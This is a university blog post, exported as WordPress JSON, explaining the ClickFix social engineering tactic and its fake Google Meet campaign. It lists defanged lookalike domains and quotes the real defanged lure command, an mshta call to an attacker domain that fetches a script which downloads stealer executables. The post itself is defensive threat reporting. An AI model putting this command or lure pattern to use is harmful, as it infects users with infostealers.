{"id":893,"date":"2024-10-23T17:00:19","date_gmt":"2024-10-23T23:00:19","guid":{"rendered":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/?p=893"},"modified":"2024-10-23T17:00:50","modified_gmt":"2024-10-23T23:00:50","slug":"the-clickfix-social-engineering-tactic","status":"publish","type":"post","link":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/2024\/10\/23\/the-clickfix-social-engineering-tactic\/","title":{"rendered":"The ClickFix Social Engineering Tactic"},"content":{"rendered":"\n

In May 2024, a new social engineering tactic called ClickFix emerged which involves displaying fake error messages in web browsers to deceive users into copying and executing a given malicious PowerShell Command.<\/p>\n\n\n\n

According to Proofpoint researchers[1], who named this tactic ClickFix<\/strong>, they reported that the initial access broker TA571 leveraged it in email phishing campaigns since March 2024. They used HTML files disguised as Word documents, displaying a fake error window that prompts users to install malware such as Matanbuchus, DarkGate, or NetSupport RAT via a PowerShell script.<\/p>\n\n\n\n

In recent months, multiple malware distribution campaigns have been using ClickFix to spread Windows and macOS malware. This is in an attempt to bypass browsers, anti viruses, and other security features.<\/p>\n\n\n\n

Bellow is a timeline of the proliferation of the ClickFix social engineering tactic over time:<\/p>\n\n\n\n

\"\"
by Sekoia<\/figcaption><\/figure>\n\n\n\n

As you can see, this tactic was first discovered in March and as become more and more sophisticated to the point where they are impersonating Google Chrome, Facebook, PDFSimpli, reCAPTCHA, and more recently Google Meets.<\/p>\n\n\n\n

\"\"
by Sekoia<\/figcaption><\/figure>\n\n\n\n

The targets of these attacks are usually people who need to click links for work, especially meeting links. According to Sekoia[2], transport and logistics companies in North America have been targeted by this tactic from at least May to August 2024 by using websites that impersonate transport and fleet operations management software.<\/p>\n\n\n\n

The most recent victim of this was Google Meet. These bad actors create domains that look like official Google Meet domains and then once the user is on the page, they are prompted with an error. The solution always being to copy a command onto your clipboard and then paste and run it in the command line<\/p>\n\n\n\n

\"\"
by Sekoia<\/figcaption><\/figure>\n\n\n\n

Sekoia were able to identify the following domain names and IP address:
meet[.]google[.]us-join[.]com<\/em>
meet[.]googie[.]com-join[.]us<\/em>
meet[.]google[.]com-join[.]us<\/em>
meet[.]google[.]web-join[.]com<\/em>
meet[.]google[.]webjoining[.]com<\/em>
meet[.]google[.]cdm-join[.]us<\/em>
meet[.]google[.]us07host[.]com<\/em>
googiedrivers[.]com<\/em>
hxxps:\/\/meet[.]google[.]com-join[.]us\/wmq-qcdn-orj<\/em>
hxxps:\/\/meet[.]google[.]us-join[.]com\/ywk-batf-sfh<\/em>
hxxps:\/\/meet[.]google[.]us07host[.]com\/coc-btru-ays<\/em>
hxxps:\/\/meet[.]google[.]webjoining[.]com\/exw-jfaj-hpa<\/em><\/p>\n\n\n\n

Note how they look like real google links except for the symbols. Most people will not even look twice before clicking these links.<\/p>\n\n\n\n

What does the Command Do?<\/p>\n\n\n\n

\n

mshta hxxps:\/\/googIedrivers[.]com\/fix-error<\/em><\/p>\n<\/blockquote>\n\n\n\n

The command basically runs the fix-error file hosted on their domain. The file contains a VB script that does the following:<\/p>\n\n\n\n

    \n
  1. It terminates its parent process (mshta.exe).<\/li>\n\n\n\n
  2. It downloads two executables (stealc.exe and ram.exe) using bitsadmin. After a two-seconds delay, it notifies the C2 server (webapizmland[.]com) about the success or failure of running the executables.<\/li>\n\n\n\n
  3. It retrieves the victim\u2019s public IP address using the service api.ipify[.]org and sends it to the C2 server along the execution status.<\/li>\n<\/ol>\n\n\n\n
    \"\"
    by Sekoia<\/figcaption><\/figure>\n\n\n\n

    According to Sekoia the threat actors are members of the traffers team \u201cSlavic Nation Empire (SNE)\u201c, which is a sub-team of the cryptocurrency scam team \u201cMarko Polo<\/em>\u201c.<\/p>\n\n\n\n

    These types of social engineering tactics are becoming more common, and the worst part about them is that the user does all the work. There is no security system that can educate users on what not todo. The more convincing the social engineering the harder it is to combat.<\/p>\n\n\n\n

    References
    1. https:\/\/www.proofpoint.com\/us\/blog\/threat-insight\/clipboard-compromise-powershell-self-pwn<\/a><\/p>\n\n\n\n

    2. https:\/\/blog.sekoia.io\/clickfix-tactic-the-phantom-meet\/<\/a><\/p>\n\n\n\n

    3. https:\/\/www.bleepingcomputer.com\/news\/security\/fake-google-meet-conference-errors-push-infostealing-malware\/<\/a><\/p>\n\n\n\n

    <\/p>\n","protected":false},"excerpt":{"rendered":"

    In May 2024, a new social engineering tactic called ClickFix emerged which involves displaying fake error messages in web browsers to deceive users into copying and executing a given malicious PowerShell Command. According to Proofpoint researchers[1], who named this tactic ClickFix, they reported that the initial access broker TA571 leveraged it in email phishing campaigns … <\/p>\n

    Continue reading “The ClickFix Social Engineering Tactic”<\/span><\/a><\/p>\n","protected":false},"author":681,"featured_media":892,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-893","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","entry"],"featured_image_src":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/meet-banner-600x400.png","featured_image_src_square":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/meet-banner-600x584.png","author_info":{"display_name":"Abdul Salawu","author_link":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/author\/abdul-salawu\/"},"_links":{"self":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts\/893","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/users\/681"}],"replies":[{"embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/comments?post=893"}],"version-history":[{"count":1,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts\/893\/revisions"}],"predecessor-version":[{"id":894,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts\/893\/revisions\/894"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/media\/892"}],"wp:attachment":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/media?parent=893"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/categories?post=893"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/tags?post=893"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}